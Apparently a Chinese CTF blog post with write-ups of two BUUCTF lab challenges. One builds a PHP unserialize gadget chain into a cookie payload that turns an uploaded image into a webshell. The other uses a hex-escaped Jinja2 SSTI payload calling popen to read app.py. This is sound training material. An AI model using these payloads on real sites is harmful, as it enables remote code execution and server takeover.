buu刷题记录(三)

[TOC]

[强网杯 2019]Upload

代码审计,反序列化

代码审计真的头疼,太难了。
进入页面有个登陆框,注册登陆,有个上传页面,试了上传webshell无果,看cookie是一段编码,解码之后是序列化后的字符串,肯定就是反序列化了,扫后台发现www.tar.gz,下载下来,审计源码。

文件这么多,既然是反序列化,直接搜索反序列化的魔法函数,这样快一点,一般都是搜索__call__destruct
然后在application/web/controller/Profile.php这个文件里发现了__call方法和__get__方法

  • call:当调用类中不可访问属性时,call将自动被调用。
  • get: 当调用类中不可访问对象时,get将自动被调用。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    # Profile.php
    <?php
    namespace app\web\controller;

    use think\Controller;

    class Profile extends Controller
    {
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;

    public function __construct()
    {
    $this->checker=new Index();
    $this->upload_menu=md5($_SERVER['REMOTE_ADDR']);
    @chdir("../public/upload");
    if(!is_dir($this->upload_menu)){
    @mkdir($this->upload_menu);
    }
    @chdir($this->upload_menu);
    }

    public function upload_img(){
    if($this->checker){
    if(!$this->checker->login_check()){
    $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
    $this->redirect($curr_url,302);
    exit();
    }
    }

    if(!empty($_FILES)){
    $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
    $this->filename=md5($_FILES['upload_file']['name']).".png";
    $this->ext_check();
    }
    if($this->ext) {
    if(getimagesize($this->filename_tmp)) {
    @copy($this->filename_tmp, $this->filename);
    @unlink($this->filename_tmp);
    $this->img="../upload/$this->upload_menu/$this->filename";
    $this->update_img();
    }else{
    $this->error('Forbidden type!', url('../index'));
    }
    }else{
    $this->error('Unknow file type!', url('../index'));
    }
    }

    public function update_img(){
    $user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();
    if(empty($user_info['img']) && $this->img){
    if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){
    $this->update_cookie();
    $this->success('Upload img successful!', url('../home'));
    }else{
    $this->error('Upload file failed!', url('../index'));
    }
    }
    }

    public function update_cookie(){
    $this->checker->profile['img']=$this->img;
    cookie("user",base64_encode(serialize($this->checker->profile)),3600);
    }

    public function ext_check(){
    $ext_arr=explode(".",$this->filename);
    $this->ext=end($ext_arr);
    if($this->ext=="png"){
    return 1;
    }else{
    return 0;
    }
    }

    public function __get($name)
    {
    return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
    if($this->{$name}){
    $this->{$this->{$name}}($arguments);
    }
    }
    }
    这个类主要处理上传文件的逻辑,创建目录,重命名文件,修改后缀,上传文件。不管是什么文件都会修改成png格式的。
    但是只有这一个类也没法使用,再查找__destruct函数,在application/web/controller/Register.php文件中找到这个方法。
    关键代码如下:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    # Register.php
    <?php
    class Register extends Controller
    {
    public $checker;
    public $registed;

    public function __construct()
    {
    $this->checker=new Index();
    }
    public function __destruct()
    {
    if(!$this->registed){
    $this->checker->index();
    }
    }
    }
    当对象被销毁时,调用__destruct方法,调用$this->checker对象的index()函数,而Profile类中是没有这个函数的,这样就可以成功触发__call方法,
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    public function __get($name)
    {
    return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
    if($this->{$name}){
    $this->{$this->{$name}}($arguments);
    }
    }
    说一下这里call的两个参数,第一个参数$name会自动接收不存在的方法名,第二个$arguments则以数组的方式接收不存在方法的多个参数。
    在```
    destruct中调用$this->checker->index(),index就会变成__call的第一个参数传递进去,而index()中没有参数,__call中的第二个参数也就为空。 参数传递进去后,就变成在__call中调用 **$this->index()**,而这个类中是没有这个对象的,然后触发 **__get** 方法。 然后看application/web/controller/Index.php```文件,关键代码如下:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    class Index extends Controller
    {
    public $profile;
    public $profile_db;
    public function index()
    {
    if($this->login_check()){
    $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
    $this->redirect($curr_url,302);
    exit();
    }
    return $this->fetch("index");
    }
    public function login_check(){
    $profile=cookie('user');
    if(!empty($profile)){
    $this->profile=unserialize(base64_decode($profile));
    $this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
    if(array_diff($this->profile_db,$this->profile)==null){
    return 1;
    }else{
    return 0;
    }
    }
    }
    }
    index()中调用login_check(),而在login_check()中把cookie中传来的值直接进行反序列化,
    我们再看Profile类中

    upload_img()函数开始时会自动调用login_check(),然后再往下看

    这里会将文件进行重命名,我们就可以通过重命名将已经上传的png文件重命名为php文件,从而获取webshell,前面那个检查文件名后缀只有在通过表单上传文件时才会触发。
    这样思路就清楚了,
    1
    2
    3
    4
    ==>Register->__destruct()
    ==>Profile->__call()
    ==>Profile->__get()
    ==>Profile->upload_img()
    先随便上传一个写有weshell的jpg后缀的文件,然后通过访问/upload/获取文件名,接下来就开始构造:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    <?php
    namespace app\web\controller;

    class Profile
    {
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;

    public function __get($name)
    {
    return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
    if($this->{$name}){
    $this->{$this->{$name}}($arguments);
    }
    }

    }

    class Register
    {
    public $checker;
    public $registed;

    public function __destruct()
    {
    if(!$this->registed){
    $this->checker->index();
    }
    }

    }

    $profile = new Profile();
    $profile->except = ['index' => 'img'];
    $profile->img = "upload_img";
    $profile->ext = "png";
    $profile->filename_tmp = "../public/upload/04b0951938d905b41348c1548f9c338b/197eb9d5e3830b156293e9c9d951518b.png";
    $profile->filename = "../public/upload/04b0951938d905b41348c1548f9c338b/197eb9d5e3830b156293e9c9d951518b.php";

    $register = new Register();
    $register->registed = false;
    $register->checker = $profile;

    echo urlencode(base64_encode(serialize($register)));
    因为那几个文件都加了namespace,所以我们在构造的时候也要加上,运行这个得到payload:
    1
    TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo3OntzOjc6ImNoZWNrZXIiO047czoxMjoiZmlsZW5hbWVfdG1wIjtzOjg2OiIuLi9wdWJsaWMvdXBsb2FkLzA0YjA5NTE5MzhkOTA1YjQxMzQ4YzE1NDhmOWMzMzhiLzE5N2ViOWQ1ZTM4MzBiMTU2MjkzZTljOWQ5NTE1MThiLnBuZyI7czo4OiJmaWxlbmFtZSI7czo4NjoiLi4vcHVibGljL3VwbG9hZC8wNGIwOTUxOTM4ZDkwNWI0MTM0OGMxNTQ4ZjljMzM4Yi8xOTdlYjlkNWUzODMwYjE1NjI5M2U5YzlkOTUxNTE4Yi5waHAiO3M6MTE6InVwbG9hZF9tZW51IjtOO3M6MzoiZXh0IjtzOjM6InBuZyI7czozOiJpbWciO3M6MTA6InVwbG9hZF9pbWciO3M6NjoiZXhjZXB0IjthOjE6e3M6NToiaW5kZXgiO3M6MzoiaW1nIjt9fXM6ODoicmVnaXN0ZWQiO2I6MDt9
    传入cookie中,然后访问我们的weshell,得到flag。

[pasecactf_2019]flask_ssti

首先试一下49发现存在ssti注入,然后发现 '._ 这三个符号被ban了。
一般方法好像都用不了了,今天学到一种新的绕过方法,使用十六进制绕过,在模板注入时可以使用,但正常的python语法是不支持的。

  • “.”的十六进制就是\x2e
  • “_”的十六进制就是\x5f
  • 单引号用双引号代替
    就像这样:等价于
    先用下面这个payload读取到app.py的源码
    1
    {{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("cat app\x2epy")["read"]()}}
    源码,只放关键部分了:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    def encode(line, key, key2):
    return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))

    file = open("/app/flag", "r")
    flag = file.read()
    flag = flag[:42]

    app.config['flag'] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
    flag = ""
    解密这个得到flag。